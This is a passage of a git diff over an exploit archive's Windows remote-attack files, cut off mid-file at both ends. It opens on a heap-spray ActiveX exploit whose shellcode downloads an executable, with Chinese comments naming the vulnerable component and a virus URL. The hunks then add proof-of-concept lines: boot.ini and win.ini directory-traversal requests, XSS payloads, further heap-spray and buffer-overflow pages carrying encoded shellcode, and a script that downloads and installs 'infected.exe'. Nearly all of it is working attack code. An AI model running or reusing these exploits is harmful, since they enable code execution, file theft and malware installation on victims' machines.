""+""+""+"%u6adc"+""+""+"%u5300%u57ff"+""+""+"%u68f0"+""+""+"%u2451"+""+""+"%u0040"+""+""+"%uff58"+""+""+"%u33d0" + ""+""+""+"%uacc0"+""+""+"%uc085"+""+""+"%uf975"+""+""+"%u5251"+""+""+"%u5356"+""+""+"%ud2ff"+""+""+"%u595a"+""+""+"%ue2ab" + ""+""+""+"%u33ee"+""+""+"%uc3c0"+""+""+"%u0ce8"+""+""+"%uffff"+""+""+"%u47ff"+""+""+"%u7465"+""+""+"%u7250"+""+""+"%u636f" + ""+""+""+"%u6441"+""+""+"%u7264"+""+""+"%u7365"+""+""+"%u0073"+""+""+"%u6547"+""+""+"%u5374"+""+""+"%u7379"+""+""+"%u6574" + ""+""+""+"%u446d"+""+""+"%u7269"+""+""+"%u6365"+""+""+"%u6f74"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u6957"+""+""+"%u456e" + ""+""+""+"%u6578"+""+""+"%u0063"+""+""+"%u7845"+""+""+"%u7469"+""+""+"%u6854"+""+""+"%u6572"+""+""+"%u6461"+""+""+"%u4c00" + ""+""+""+"%u616f"+""+""+"%u4c64"+""+""+"%u6269"+""+""+"%u6172%u7972"+""+""+"%u0041"+""+""+"%u7275"+""+""+"%u6d6c" + ""+""+""+"%u6e6f"+""+""+"%u5500"+""+""+"%u4c52"+""+""+"%u6f44"+""+""+"%u6e77"+""+""+"%u6f6c"+""+""+"%u6461"+""+""+"%u6f54" + ""+""+""+"%u6946"+""+""+"%u656c"+""+""+"%u0041"+""+""+"%u7468"+""+""+"%u7074"+""+""+"%u2f3a"+""+""+"%u702f"+""+""+"%u6369" + ""+""+""+"%u312e%u2e36"+""+""+"%u6776"+""+""+"%u532f"+""+""+"%u3633"+""+""+"%u2f38"+""+""+"%u3353"+""+""+"%u3836" + ""+""+""+"%u2e32"+""+""+"%u7865"+""+""+"%u8065"+""+""+"%u0000"); </script> <SCRIPT language="javascript"> var fsk51d2sl = "63e23c122"; var bigblock = unescape(""+""+"%u9090"+""+"%u9090"); var fsk51d2sl = "63e23c122"; var headersize = 20; var fsk51d2sl = "63e23c122"; var slackspace = headersize+shellcode.length; var fsk51d2sl = "63e23c122"; while (bigblock.length<slackspace) bigblock+=bigblock; var fsk51d2sl = "63e23c122"; fillblock = bigblock.substring(0, slackspace); var fsk51d2sl = "63e23c122"; block = bigblock.substring(0, bigblock.length-slackspace); var fsk51d2sl = "63e23c122"; while(block.length+slackspace<0x40000) block = block+block+fillblock; var fsk51d2sl = "63e23c122"; memory = new Array(); var fsk51d2sl = "63e23c122"; for (x=0; x<300; x++) memory[x] = block +shellcode; var fsk51d2sl = "63e23c122"; var buffer = ''; var fsk51d2sl = "63e23c122"; while (buffer.length < 164) buffer+="A"; var fsk51d2sl = "63e23c122"; buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer; var fsk51d2sl = "63e23c122"; ok="ok"; var fsk51d2sl = "63e23c122"; target.ConnectAndEnterRoom(buffer,ok,ok,ok,ok,ok ); var fsk51d2sl = "63e23c122"; </script? </body> <mEtA Http-Equiv="Content-TypE" content="TeXt/htMl; CharSet=Us-AsCiI" /> /************************************************************************************************** 有漏洞的组件为：C:\Program Files\GlobalLink\Game\Share\GLChat.ocx, GlobalLink 其 CLSID:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69 下载的病毒为： http://pic.16.vg/S368/S3682.exe 超星阅读器的Exploits代码如下，这个看样子现在还是个0-Day /************************************************************************************************** \ No newline at end of file diff --git a/platforms/windows/remote/30730.txt b/platforms/windows/remote/30730.txt index c14c400fc..ecafae75d 100755 --- a/platforms/windows/remote/30730.txt +++ b/platforms/windows/remote/30730.txt @@ -9,4 +9,4 @@ These issues affect SonicWALL SSL VPN 1.3.0.3 software as well as WebCacheCleane dim o Set o = CreateObject("MLWebCacheCleaner.WebCacheCleaner.1") -o.FileDelete("c:\bla\bla") \ No newline at end of file +o.FileDelete("c:\bla\bla") \ No newline at end of file diff --git a/platforms/windows/remote/30901.txt b/platforms/windows/remote/30901.txt index 6a900fd4f..6d30c8915 100755 --- a/platforms/windows/remote/30901.txt +++ b/platforms/windows/remote/30901.txt @@ -10,4 +10,4 @@ This issue affects Apache 2.2.6 when serving PHP files from a Windows SMB share; NOTE: This issue may also occur when handling other filename extensions that use AddType directives to associate scripts or executables (e.g. '.cgi\', '.py\', '.rb\', etc.). -http://www.example.com/winshare/info.php\ \ No newline at end of file +http://www.example.com/winshare/info.php\ \ No newline at end of file diff --git a/platforms/windows/remote/30939.txt b/platforms/windows/remote/30939.txt index 801ceed47..28423cba9 100755 --- a/platforms/windows/remote/30939.txt +++ b/platforms/windows/remote/30939.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects ImgSvr 0.6.21; other versions may also be vulnerable. -http://www.example.com/../[code] \ No newline at end of file +http://www.example.com/../[code] \ No newline at end of file diff --git a/platforms/windows/remote/31039.txt b/platforms/windows/remote/31039.txt index 0a252b418..0d923d0a0 100755 --- a/platforms/windows/remote/31039.txt +++ b/platforms/windows/remote/31039.txt @@ -6,4 +6,4 @@ Exploiting this issue allows an attacker to access potentially sensitive informa BitDefender Security for File Servers, BitDefender Enterprise Manger, and other BitDefender products that include the Update Server are vulnerable. This issue affects Update Server when running on Windows; Linux and UNIX variants may also be affected. -echo -e "GET /../../boot.ini HTTP/1.0\r\n\r\n" | nc <server> <port> \ No newline at end of file +echo -e "GET /../../boot.ini HTTP/1.0\r\n\r\n" | nc <server> <port> \ No newline at end of file diff --git a/platforms/windows/remote/31149.txt b/platforms/windows/remote/31149.txt index 8b1006906..8983540d5 100755 --- a/platforms/windows/remote/31149.txt +++ b/platforms/windows/remote/31149.txt @@ -8,4 +8,4 @@ This issue affects Protection Server 7.4.1.0 and Keys Server 1.0.4; earlier vers NOTE: This issue may be caused by an incomplete security patch released in November 2007 that was documented in BID 26583 ('Sentinel Protection Server/Keys Server Directory Traversal Vulnerability'). -GET /..\..\..\..\..\..\..\boot.ini HTTP/1.0 \ No newline at end of file +GET /..\..\..\..\..\..\..\boot.ini HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/31163.txt b/platforms/windows/remote/31163.txt index 4c9584f3d..f1541c7f2 100755 --- a/platforms/windows/remote/31163.txt +++ b/platforms/windows/remote/31163.txt @@ -8,4 +8,4 @@ These issues affect WinIPDS 3.3 rev. G52-33-021; prior versions may also be affe GET /../../../../../boot.ini HTTP/1.0 or -POST /..\../..\../..\boot.ini HTTP/1.0 \ No newline at end of file +POST /..\../..\../..\boot.ini HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/31231.txt b/platforms/windows/remote/31231.txt index 3b5252582..d29557103 100755 --- a/platforms/windows/remote/31231.txt +++ b/platforms/windows/remote/31231.txt @@ -7,4 +7,4 @@ Exploiting this issue may allow an attacker to access sensitive information that This issue affects SCI Photo Chat 3.4.9 and prior versions. GET /docs/..\..\..\..\..\boot.ini HTTP/1.0 -GET /docs/../../../../../boot.ini HTTP/1.0 \ No newline at end of file +GET /docs/../../../../../boot.ini HTTP/1.0 \ No newline at end of file diff --git a/platforms/windows/remote/31345.txt b/platforms/windows/remote/31345.txt index 4ffb575a1..09d5310d3 100755 --- a/platforms/windows/remote/31345.txt +++ b/platforms/windows/remote/31345.txt @@ -6,4 +6,4 @@ Exploiting this issue allows an attacker to access arbitrary files outside of th eScan Server 9.0.742.98 is vulnerable to this issue; other versions may also be affected. -ftp://SERVER:2021//windows/win.ini \ No newline at end of file +ftp://SERVER:2021//windows/win.ini \ No newline at end of file diff --git a/platforms/windows/remote/31395.txt b/platforms/windows/remote/31395.txt index ef62240e9..c5a00496c 100755 --- a/platforms/windows/remote/31395.txt +++ b/platforms/windows/remote/31395.txt @@ -8,4 +8,4 @@ The buffer-overflow issues are tracked by Cisco Bug ID CSCsl49180. The cross-sit These issues affect versions prior to UCP 4.2 when running on Microsoft Windows. -http://www.example.com/securecgi-bin/CSUserCGI.exe?Help+00.lala.c.hacker%22%22%22%3E%3Ch1%3EHello_Cisco%3C/h1%3E \ No newline at end of file +http://www.example.com/securecgi-bin/CSUserCGI.exe?Help+00.lala.c.hacker%22%22%22%3E%3Ch1%3EHello_Cisco%3C/h1%3E \ No newline at end of file diff --git a/platforms/windows/remote/31536.txt b/platforms/windows/remote/31536.txt index 6e8236bb2..e88240798 100755 --- a/platforms/windows/remote/31536.txt +++ b/platforms/windows/remote/31536.txt @@ -6,4 +6,4 @@ Exploiting this issue allows an attacker to access arbitrary files outside of th This issue affects versions prior to File Transfer 1.2f. -../../../../../../../boot.ini \ No newline at end of file +../../../../../../../boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/31562.txt b/platforms/windows/remote/31562.txt index c694de477..0ff0c1ae4 100755 --- a/platforms/windows/remote/31562.txt +++ b/platforms/windows/remote/31562.txt @@ -7,4 +7,4 @@ Exploiting this issue allows an attacker to access arbitrary files outside of th 2X ThinClientServer 5.0 sp1-r3497 with TFTPd.exe 3.2.0.0 is vulnerable; other versions may also be affected. tftpx SERVER .../.../.../.../.../.../boot.ini none -tftpx SERVER ...\...\...\...\...\...\windows\win.ini none \ No newline at end of file +tftpx SERVER ...\...\...\...\...\...\windows\win.ini none \ No newline at end of file diff --git a/platforms/windows/remote/31624.txt b/platforms/windows/remote/31624.txt index 6e3672562..0153e83a0 100755 --- a/platforms/windows/remote/31624.txt +++ b/platforms/windows/remote/31624.txt @@ -8,4 +8,4 @@ This issue affects Internet Explorer 7. Reportedly, Internet Explorer 8 is not v This issue may be related to the vulnerability discussed in BID 28581 (Microsoft Internet Explorer 'ieframe.dll' Script Injection Vulnerability). -<?php header("location: res://ieframe.dll/24/123"); ?> <script> var xml = new XMLHttpRequest(); xml.open("GET","/the_header_file.php"); xml.onreadystatechange=function (){ if (xml.readyState == 4){ alert(xml.responseText) } } xml.send(null); </script> \ No newline at end of file +<?php header("location: res://ieframe.dll/24/123"); ?> <script> var xml = new XMLHttpRequest(); xml.open("GET","/the_header_file.php"); xml.onreadystatechange=function (){ if (xml.readyState == 4){ alert(xml.responseText) } } xml.send(null); </script> \ No newline at end of file diff --git a/platforms/windows/remote/31632.txt b/platforms/windows/remote/31632.txt index c43d6e937..44cec2437 100755 --- a/platforms/windows/remote/31632.txt +++ b/platforms/windows/remote/31632.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow the attacker to execute HTML and script code in Microsoft SharePoint Server 2.0 is vulnerable; other versions may also be affected. -"""></P></div></td><script>[your javascript here]</script> \ No newline at end of file +"""></P></div></td><script>[your javascript here]</script> \ No newline at end of file diff --git a/platforms/windows/remote/31699.txt b/platforms/windows/remote/31699.txt index 5fae24473..2ad4dcd39 100755 --- a/platforms/windows/remote/31699.txt +++ b/platforms/windows/remote/31699.txt @@ -6,4 +6,4 @@ A successful attack may aid in phishing-style attacks. This issue affects RSA Authentication Agent for Web for Internet Information Services 5.3.0.258. Other versions may also be affected. -https://www.example.com/WebID/IISWebAgentIF.dll?Redirect?url=ftp://www.example2.com/index.htm \ No newline at end of file +https://www.example.com/WebID/IISWebAgentIF.dll?Redirect?url=ftp://www.example2.com/index.htm \ No newline at end of file diff --git a/platforms/windows/remote/31759.txt b/platforms/windows/remote/31759.txt index 5d27ba60d..8143db5ee 100755 --- a/platforms/windows/remote/31759.txt +++ b/platforms/windows/remote/31759.txt @@ -10,4 +10,4 @@ Other browsers may also be affected under certain configurations, but this has n NOTE: This BID was originally titled 'Apache HTTP Server 403 Error Cross-Site Scripting Vulnerability'. -http://www.example.com/Znl5g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0Kc3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRRuPe5UahFwOblMXsIPTGh3pVjTLdim3vuTKgdazOG9 idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6GlQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%3Cfont%20size=50%3EDEFACED%3C!xc+ADw-script+AD4-alert('xss') +ADw-/script+AD4---//-- \ No newline at end of file +http://www.example.com/Znl5g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0Kc3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRRuPe5UahFwOblMXsIPTGh3pVjTLdim3vuTKgdazOG9 idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6GlQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%3Cfont%20size=50%3EDEFACED%3C!xc+ADw-script+AD4-alert('xss') +ADw-/script+AD4---//-- \ No newline at end of file diff --git a/platforms/windows/remote/31769.html b/platforms/windows/remote/31769.html index fa06d9bed..54d7ec6e5 100755 --- a/platforms/windows/remote/31769.html +++ b/platforms/windows/remote/31769.html @@ -6,4 +6,4 @@ An attacker can exploit this issue to run arbitrary attacker-supplied code in th Note that GlobalLink 2.8.1.2 beta is also affected by this issue. -<script> document.writeln("<html>"); document.writeln("<object classid=\"clsid:F917534D-535B-416B-8E8F-0C04756C31A8\" id=\'target\'><\/object>"); document.writeln("<body>"); document.writeln("<SCRIPT language=\"JavaScript\">"); document.writeln("var cikeqq575562708 = \"%u9090%u6090\" +"); document.writeln("\"%u17eb%u645e%u30a1%u0000\" +"); document.writeln("\"%u0500%u0800%u0000%uf88b%u00b9%u0004%uf300%uffa4%ue8e0\" +"); document.writeln("\"%uffe4%uffff%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad\" +"); document.writeln("\"%u0870%uec81%u0200%u0000%uec8b%ue8bb%u020f%u8b00%u8503\" +"); document.writeln("\"%u0fc0%ubb85%u0000%uff00%ue903%u0221%u0000%u895b%u205d\" +"); document.writeln("\"%u6856%ufe98%u0e8a%ub1e8%u0000%u8900%u0c45%u6856%u4e8e\" +"); document.writeln("\"%uec0e%ua3e8%u0000%u8900%u0445%u6856%u79c1%ub8e5%u95e8\" +"); document.writeln("\"%u0000%u8900%u1c45%u6856%uc61b%u7946%u87e8%u0000%u8900\" +"); document.writeln("\"%u1045%u6856%ufcaa%u7c0d%u79e8%u0000%u8900%u0845%u6856\" +"); document.writeln("\"%u84e7%ub469%u6be8%u0000%u8900%u1445%ue0bb%u020f%u8900\" +"); document.writeln("\"%u3303%uc7f6%u2845%u5255%u4d4c%u45c7%u4f2c%u004e%u8d00\" +"); document.writeln("\"%u285d%uff53%u0455%u6850%u1a36%u702f%u3fe8%u0000%u8900\" +"); document.writeln("\"%u2445%u7f6a%u5d8d%u5328%u55ff%uc71c%u0544%u5c28%u652e\" +"); document.writeln("\"%uc778%u0544%u652c%u0000%u5600%u8d56%u287d%uff57%u2075\" +"); document.writeln("\"%uff56%u2455%u5756%u55ff%ue80c%u0062%u0000%uc481%u0200\" +"); document.writeln("\"%u0000%u3361%uc2c0%u0004%u8b55%u51ec%u8b53%u087d%u5d8b\" +"); document.writeln("\"%u560c%u738b%u8b3c%u1e74%u0378%u56f3%u768b%u0320%u33f3\" +"); document.writeln("\"%u49c9%uad41%uc303%u3356%u0ff6%u10be%uf23a%u0874%ucec1\" +"); document.writeln("\"%u030d%u40f2%uf1eb%ufe3b%u755e%u5ae5%ueb8b%u5a8b%u0324\" +"); document.writeln("\"%u66dd%u0c8b%u8b4b%u1c5a%udd03%u048b%u038b%u5ec5%u595b\" +"); document.writeln("\"%uc25d%u0008%u92e9%u0000%u5e00%u80bf%u020c%ub900%u0100\" +"); document.writeln("\"%u0000%ua4f3%uec81%u0100%u0000%ufc8b%uc783%uc710%u6e07\" +"); document.writeln("\"%u6474%uc76c%u0447%u006c%u0000%uff57%u0455%u4589%uc724\" +"); document.writeln("\"%u5207%u6c74%uc741%u0447%u6c6c%u636f%u47c7%u6108%u6574\" +"); document.writeln("\"%uc748%u0c47%u6165%u0070%u5057%u55ff%u8b08%ub8f0%u0fe4\" +"); document.writeln("\"%u0002%u3089%u07c7%u736d%u6376%u47c7%u7204%u0074%u5700\" +"); document.writeln("\"%u55ff%u8b04%u3c48%u8c8b%u8008%u0000%u3900%u0834%u0474\" +"); document.writeln("\"%uf9e2%u12eb%u348d%u5508%u406a%u046a%uff56%u1055%u06c7\" +"); document.writeln("\"%u0c80%u0002%uc481%u0100%u0000%ue8c3%uff69%uffff%u048b\" +"); document.writeln("\"%u5324%u5251%u5756%uecb9%u020f%u8b00%u8519%u75db%u3350\" +"); document.writeln("\"%u33c9%u83db%u06e8%ub70f%u8118%ufffb%u0015%u7500%u833e\" +"); document.writeln("\"%u06e8%ub70f%u8118%ufffb%u0035%u7500%u8330%u02e8%ub70f\" +"); document.writeln("\"%u8318%u6afb%u2575%uc083%u8b04%ub830%u0fe0%u0002%u0068\" +"); document.writeln("\"%u0000%u6801%u1000%u0000%u006a%u10ff%u0689%u4489%u1824\" +"); document.writeln("\"%uecb9%u020f%uff00%u5f01%u5a5e%u5b59%ue4b8%u020f%uff00\" +"); document.writeln("\"%ue820%ufdda%uffff\" +"); document.writeln("\"%u7468%u7074%u2f3a%u772f%u7777%u622e%u6961%u7564%u6f75%u632e%u2f6e%u3231%u2f33%u6b6f%u652e%u6578\";"); document.writeln("var shellcode = unescape(cikeqq575562708);"); document.writeln("var nop = \"tmp9090tmp9090\";"); document.writeln("var Cike = unescape(nop.replace(\/tmp\/g,\"%u\"));"); document.writeln("while (Cike.length<224) Cike+=Cike;"); document.writeln("fillvcbcv = Cike.substring(0, 224);"); document.writeln("vcbcv = Cike.substring(0, Cike.length-224);"); document.writeln("while(vcbcv.length+224<0x40000) vcbcv = vcbcv+vcbcv+fillvcbcv;"); document.writeln("gdfgdh = new Array();"); document.writeln("for (x=0; x<300; x++) gdfgdh[x] = vcbcv +shellcode;"); document.writeln("var hellohack = \'\';"); document.writeln("while (hellohack.length < 600) hellohack+=\'\\x0a\\x0a\\x0a\\x0a\';"); document.writeln("target[\"\\x49\\x45\\x53\\x74\\x61\\x72\\x74\\x4e\\x61\\x74\\x69\\x76\\x65\"](hellohack,\"CikeVipWm\",\"fuckyou\");"); document.writeln("<\/script>"); document.writeln("<\/body>"); document.writeln("<\/html>"); document.writeln("") </script> \ No newline at end of file +<script> document.writeln("<html>"); document.writeln("<object classid=\"clsid:F917534D-535B-416B-8E8F-0C04756C31A8\" id=\'target\'><\/object>"); document.writeln("<body>"); document.writeln("<SCRIPT language=\"JavaScript\">"); document.writeln("var cikeqq575562708 = \"%u9090%u6090\" +"); document.writeln("\"%u17eb%u645e%u30a1%u0000\" +"); document.writeln("\"%u0500%u0800%u0000%uf88b%u00b9%u0004%uf300%uffa4%ue8e0\" +"); document.writeln("\"%uffe4%uffff%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad\" +"); document.writeln("\"%u0870%uec81%u0200%u0000%uec8b%ue8bb%u020f%u8b00%u8503\" +"); document.writeln("\"%u0fc0%ubb85%u0000%uff00%ue903%u0221%u0000%u895b%u205d\" +"); document.writeln("\"%u6856%ufe98%u0e8a%ub1e8%u0000%u8900%u0c45%u6856%u4e8e\" +"); document.writeln("\"%uec0e%ua3e8%u0000%u8900%u0445%u6856%u79c1%ub8e5%u95e8\" +"); document.writeln("\"%u0000%u8900%u1c45%u6856%uc61b%u7946%u87e8%u0000%u8900\" +"); document.writeln("\"%u1045%u6856%ufcaa%u7c0d%u79e8%u0000%u8900%u0845%u6856\" +"); document.writeln("\"%u84e7%ub469%u6be8%u0000%u8900%u1445%ue0bb%u020f%u8900\" +"); document.writeln("\"%u3303%uc7f6%u2845%u5255%u4d4c%u45c7%u4f2c%u004e%u8d00\" +"); document.writeln("\"%u285d%uff53%u0455%u6850%u1a36%u702f%u3fe8%u0000%u8900\" +"); document.writeln("\"%u2445%u7f6a%u5d8d%u5328%u55ff%uc71c%u0544%u5c28%u652e\" +"); document.writeln("\"%uc778%u0544%u652c%u0000%u5600%u8d56%u287d%uff57%u2075\" +"); document.writeln("\"%uff56%u2455%u5756%u55ff%ue80c%u0062%u0000%uc481%u0200\" +"); document.writeln("\"%u0000%u3361%uc2c0%u0004%u8b55%u51ec%u8b53%u087d%u5d8b\" +"); document.writeln("\"%u560c%u738b%u8b3c%u1e74%u0378%u56f3%u768b%u0320%u33f3\" +"); document.writeln("\"%u49c9%uad41%uc303%u3356%u0ff6%u10be%uf23a%u0874%ucec1\" +"); document.writeln("\"%u030d%u40f2%uf1eb%ufe3b%u755e%u5ae5%ueb8b%u5a8b%u0324\" +"); document.writeln("\"%u66dd%u0c8b%u8b4b%u1c5a%udd03%u048b%u038b%u5ec5%u595b\" +"); document.writeln("\"%uc25d%u0008%u92e9%u0000%u5e00%u80bf%u020c%ub900%u0100\" +"); document.writeln("\"%u0000%ua4f3%uec81%u0100%u0000%ufc8b%uc783%uc710%u6e07\" +"); document.writeln("\"%u6474%uc76c%u0447%u006c%u0000%uff57%u0455%u4589%uc724\" +"); document.writeln("\"%u5207%u6c74%uc741%u0447%u6c6c%u636f%u47c7%u6108%u6574\" +"); document.writeln("\"%uc748%u0c47%u6165%u0070%u5057%u55ff%u8b08%ub8f0%u0fe4\" +"); document.writeln("\"%u0002%u3089%u07c7%u736d%u6376%u47c7%u7204%u0074%u5700\" +"); document.writeln("\"%u55ff%u8b04%u3c48%u8c8b%u8008%u0000%u3900%u0834%u0474\" +"); document.writeln("\"%uf9e2%u12eb%u348d%u5508%u406a%u046a%uff56%u1055%u06c7\" +"); document.writeln("\"%u0c80%u0002%uc481%u0100%u0000%ue8c3%uff69%uffff%u048b\" +"); document.writeln("\"%u5324%u5251%u5756%uecb9%u020f%u8b00%u8519%u75db%u3350\" +"); document.writeln("\"%u33c9%u83db%u06e8%ub70f%u8118%ufffb%u0015%u7500%u833e\" +"); document.writeln("\"%u06e8%ub70f%u8118%ufffb%u0035%u7500%u8330%u02e8%ub70f\" +"); document.writeln("\"%u8318%u6afb%u2575%uc083%u8b04%ub830%u0fe0%u0002%u0068\" +"); document.writeln("\"%u0000%u6801%u1000%u0000%u006a%u10ff%u0689%u4489%u1824\" +"); document.writeln("\"%uecb9%u020f%uff00%u5f01%u5a5e%u5b59%ue4b8%u020f%uff00\" +"); document.writeln("\"%ue820%ufdda%uffff\" +"); document.writeln("\"%u7468%u7074%u2f3a%u772f%u7777%u622e%u6961%u7564%u6f75%u632e%u2f6e%u3231%u2f33%u6b6f%u652e%u6578\";"); document.writeln("var shellcode = unescape(cikeqq575562708);"); document.writeln("var nop = \"tmp9090tmp9090\";"); document.writeln("var Cike = unescape(nop.replace(\/tmp\/g,\"%u\"));"); document.writeln("while (Cike.length<224) Cike+=Cike;"); document.writeln("fillvcbcv = Cike.substring(0, 224);"); document.writeln("vcbcv = Cike.substring(0, Cike.length-224);"); document.writeln("while(vcbcv.length+224<0x40000) vcbcv = vcbcv+vcbcv+fillvcbcv;"); document.writeln("gdfgdh = new Array();"); document.writeln("for (x=0; x<300; x++) gdfgdh[x] = vcbcv +shellcode;"); document.writeln("var hellohack = \'\';"); document.writeln("while (hellohack.length < 600) hellohack+=\'\\x0a\\x0a\\x0a\\x0a\';"); document.writeln("target[\"\\x49\\x45\\x53\\x74\\x61\\x72\\x74\\x4e\\x61\\x74\\x69\\x76\\x65\"](hellohack,\"CikeVipWm\",\"fuckyou\");"); document.writeln("<\/script>"); document.writeln("<\/body>"); document.writeln("<\/html>"); document.writeln("") </script> \ No newline at end of file diff --git a/platforms/windows/remote/31873.xml b/platforms/windows/remote/31873.xml index 94df80d18..cc4f2c6b5 100755 --- a/platforms/windows/remote/31873.xml +++ b/platforms/windows/remote/31873.xml @@ -8,4 +8,4 @@ HP Instant Support 1.0.0.22 and earlier versions are affected. NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information. -<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Function ExtractCab ( ByVal filepath As String , ByVal destpath As String ) As String" memberName = "ExtractCab" progid = "HPISDataManagerLib.Datamgr" argCount = 2 arg1=String(277, "B") arg2="defaultV" target.ExtractCab arg1 ,arg2 </script></job></package> \ No newline at end of file +<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Function ExtractCab ( ByVal filepath As String , ByVal destpath As String ) As String" memberName = "ExtractCab" progid = "HPISDataManagerLib.Datamgr" argCount = 2 arg1=String(277, "B") arg2="defaultV" target.ExtractCab arg1 ,arg2 </script></job></package> \ No newline at end of file diff --git a/platforms/windows/remote/31980.html b/platforms/windows/remote/31980.html index ff4ae9eec..72fca624d 100755 --- a/platforms/windows/remote/31980.html +++ b/platforms/windows/remote/31980.html @@ -6,4 +6,4 @@ Attackers may exploit this issue to overwrite sensitive files with malicious dat UUSee 2008 is vulnerable; other versions may also be affected. -<html> <object classid='clsid:2CACD7BB-1C59-4BBB-8E81-6E83F82C813B' id='target'></object> <script language='vbscript'> arg1="\Program Files\Common Files\uusee\" arg2="http://www.example.com/UU.ini" arg3="http://www.example2.com/mini3/uusee_client_update/remark.php" arg4=1 target.Update arg1 ,arg2 ,arg3 ,arg4 </script> </html> \ No newline at end of file +<html> <object classid='clsid:2CACD7BB-1C59-4BBB-8E81-6E83F82C813B' id='target'></object> <script language='vbscript'> arg1="\Program Files\Common Files\uusee\" arg2="http://www.example.com/UU.ini" arg3="http://www.example2.com/mini3/uusee_client_update/remark.php" arg4=1 target.Update arg1 ,arg2 ,arg3 ,arg4 </script> </html> \ No newline at end of file diff --git a/platforms/windows/remote/32052.html b/platforms/windows/remote/32052.html index a98ff21b2..262f8c34e 100755 --- a/platforms/windows/remote/32052.html +++ b/platforms/windows/remote/32052.html @@ -4,4 +4,4 @@ Sina DLoader is prone to a vulnerability that can cause malicious files to be do Attackers may exploit this issue to overwrite sensitive files with malicious data that will compromise the affected computer. Other attacks are possible. -<OBJECT id=install classid=clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A></OBJECT> <SCRIPT> var YEtYcJsR1="http://example.com/infected.exe"; install["DownloadAndInstall"](YEtYcJsR1); </SCRIPT> \ No newline at end of file +<OBJECT id=install classid=clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A></OBJECT> <SCRIPT> var YEtYcJsR1="http://example.com/infected.exe"; install["DownloadAndInstall"](YEtYcJsR1); </SCRIPT> \ No newline at end of file diff --git a/platforms/windows/remote/32124.txt b/platforms/windows/remote/32124.txt index f1b950f2f..9fc0205d3 100755 --- a/platforms/windows/remote/32124.txt +++ b/platforms/windows/remote/32124.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary code in the context of a This issue affects 'CoVideoWindow.ocx' 5.0.907.1; other versions may also be affected. -<html> <object classid='clsid:CA06EE71-7348-44c4-9540-AAF0E6BD1515' id='test'></object> <input language=VBScript onclick=buffero() type=button value="Crash"> <script language = 'vbscript'> Sub buffero() crash = String(515000, unescape("%41")) test.BgColor = crash End Sub </script> </html> \ No newline at end of file +<html> <object classid='clsid:CA06EE71-7348-44c4-9540-AAF0E6BD1515' id='test'></object> <input language=VBScript onclick=buffero() type=button value="Crash"> <script language = 'vbscript'> Sub buffero() crash = String(515000, unescape("%41")) test.BgColor = crash End Sub </script> </html> \ No newline at end of file diff --git a/platforms/windows/remote/32429.html b/platforms/windows/remote/32429.html index c785279db..3625211c6 100755 --- a/platforms/windows/remote/32429.html +++ b/platforms/windows/remote/32429.html @@ -7,4 +7,4 @@ An attacker can exploit this issue to execute arbitrary code in the context of t ZENworks Desktop Management 6.5 is vulnerable; other versions may also be affected. -< html> < head> < title>Novell ZENWorks for Desktops Version 6.5 Remote (Heap-Based) PoC < /head> < body> < script> var buffa1 = unescape("%uce90%u08bc") do { buffa1 += buffa1; } while (buffa1.length < 0x900000); var buffa2 = unescape("%u9090%u9090") do { buffa2 += buffa2; } while (buffa2.length < 0x1500000); buffa1 += buffa2; buffa1 += unescape("%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); < /script> < object id="victim" classid="clsid:0F517994-A6FA-4F39-BD4B-EC2DF00AEEF1"> < /object> < script language="vbscript"> appName = String(300, "A") + "?????" victim.CanUninstall appName < /script> < /body> < /html> \ No newline at end of file +< html> < head> < title>Novell ZENWorks for Desktops Version 6.5 Remote (Heap-Based) PoC < /head> < body> < script> var buffa1 = unescape("%uce90%u08bc") do { buffa1 += buffa1; } while (buffa1.length < 0x900000); var 